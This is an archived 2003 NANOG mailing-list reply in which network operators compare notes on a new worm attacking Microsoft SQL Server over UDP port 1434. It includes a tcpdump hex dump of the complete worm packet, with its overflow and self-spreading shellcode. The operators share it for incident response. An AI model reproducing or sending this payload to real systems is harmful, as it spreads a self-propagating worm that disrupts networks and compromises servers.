Merit Network
Can't find what you're looking for? Search the Mail Archives.
  About Merit   Services   Network   Resources & Support   Network Research   News   Events   Home

Discussion Communities: Merit Network Email List Archives

North American Network Operators Group

Date Prev | Date Next | Date Index | Thread Index | Author Index | Historical

Re: New worm / port 1434?

  • From: Jake Khuon
  • Date: Sat Jan 25 06:51:39 2003
  • Action:
  • Dcc:
  • Expires:

### On Fri, 24 Jan 2003 22:59:17 -0800, Josh Richards <jrichard@cubicle.net>
### casually decided to expound upon nanog@nanog.org the following thoughts
### about "Re: New worm / port 1434?":

JR> * Avleen Vig <lists-nanog@silverwraith.com> [20030124 22:44]:
JR> > 
JR> > It seems we have a new worm hitting Microsoft SQL server servers on port
JR> > 1434.
JR> 
JR> A preliminary look at some of our NetFlow data shows a suspect ICMP payload
JR> delivered to one of our downstream colo customer boxes followed by a
JR> 70 Mbit/s burst from them.  The burst consisted of traffic to seemingly random
JR> destinations on 1434/udp.  This customer typically does about 0.250 Mbit/s
JR> so this was a bit out of their profile. :-)  Needless to say, we shut them
JR> down per a suspected security incident.  The ICMP came from 66.214.194.31 
JR> though that could quite easily be forged or just another compromised box.  
JR> We're seeing red to many networks all over the world though our network seems 
JR> to have quieted down a bit.  Sounds like a DDoS in the works.  
JR> 
JR> Anyone else able to corroborate/compare notes? 

First attack packet came in around 2130PST.  A tcpdump reveals this:

Jan 25 00:05:49.880553 64.159.86.99.2321 > 66.166.158.240.1434:  [udp sum
ok] udp 376 (ttl 120, id 53207)
  0000: 4500 0194 cfd7 0000 7811 f8e8 409f 5663  E.....x.@.Vc
  0010: 42a6 9ef0 0911 059a 0180 b3a1 0401 0101  B...........
  0020: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0030: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0040: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0050: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0060: 0101 0101 0101 0101 0101 0101 0101 0101  ................
  0070: 0101 0101 0101 0101 0101 0101 01dc c9b0  .............ɰ
  0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae  B........pB.p
  0090: 4290 9090 9090 9090 9068 dcc9 b042 b801  B........hɰB.
  00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550  ...1ɱ.P5....P
  00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65  .Qh.dllhel32hke
  00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765  rnQhounthickChGe
  00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332  tTfllQh32.dhws2
  00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51  _fetQhsockftoQ
  00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16  hsend..B.EP.
  0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae  P.EP.EP.P..
  0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae  B....=U.Qt...
  0120: 42ff 16ff d031 c951 5150 81f1 0301 049b  B.1QQP.....
  0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff  .....Q.EP.EP
  0140: 166a 116a 026a 02ff d050 8d45 c450 8b45  .j.j.j.P.EP.E
  0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45  P....<a.E
  0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829  ..@......)
  0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031  .....Ej..EP1
  0180: c951 6681 f178 0151 8d45 0350 8b45 ac50  Qf.x.Q.E.P.EP
  0190: ffd6 ebca                                


--
/*===================[ Jake Khuon <khuon@NEEBU.Net> ]======================+
 | Packet Plumber, Network Engineers     /| / [~ [~ |) | | --------------- |
 | for Effective Bandwidth Utilisation  / |/  [_ [_ |) |_| N E T W O R K S |
 +=========================================================================*/






Discussion Communities


About Merit | Services | Network | Resources & Support | Network Research
News | Events | Contact | Site Map | Merit Network Home


Merit Network, Inc.